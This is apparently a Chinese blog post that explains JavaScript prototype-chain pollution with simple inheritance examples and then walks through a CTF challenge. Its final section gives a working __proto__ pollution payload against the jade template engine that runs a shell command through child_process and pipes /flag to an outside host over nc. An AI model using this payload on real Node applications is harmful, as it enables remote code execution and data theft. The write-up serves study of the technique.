javscript 原型链污染初探

0x01 原型与__proto__

所有类对象在实例化的时候将会拥有prototype中的属性和方法,一般被用来表达继承的变量。

function Test(){
    this.tt = "test"
}

var test = new Test()
console.log(test.tt)

这是一个基本的类的实例

其test属性的原型如下

同样也可以用prototype来表示

 

0x02 原型链污染

javascript的继承方式就是依靠着原型链,因此我们可以改变原型链来对进行一个数据的更改,这种原型链的借用p师傅的博客来说,利用如下的代码

function Father() {
    this.first_name = 'Tom'
    this.last_name = 'A'
}

function Son() {
    this.first_name = 'Jerry'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

从而对于son的对象,在调用son.last_name这个属性的时候,其做了如下的几个操作

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

p师傅在这里讲的还是非常硬核的,膜一下。

那么要进行原型链的污染也就非常简单了,如果我们想改变一个子类并不存在或者固定的一个变量的时候,可以通过原型链污染

可以看到_proto__将不存在的c变量设了变量并且改变了其值。如果我们控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。

 

0x03 被污染的jade

这道题目就是边学边做的,很可惜最后超时了,回顾一下,首先页面就是一个输入框,输入什么就返回什么

在这个基础上,以为是SSTI污染了原型链,疯狂测试SSTI。无果,之后偶然看到了报错的部分源码,于是猜测可能拼接啥的,遂开始读jade的源码。通过报错的信息

开始看代码,发现在/lib/complier.js文件中的line变量可以拼接

那么只要拼接出一个命令执行既可以拿到flag,同时在burp博客中发现一篇jade的SSTI

于是构造出来的payload为

{"__proto__":{"compileDebug":1,"title":"","name":"bb","self":1,"line":"\"\"));global.process.mainModule.require('child_process').exec('cat  /flag| nc vps) \\"}}

服务器接收到数据


拿到flag

 

0xFF Reference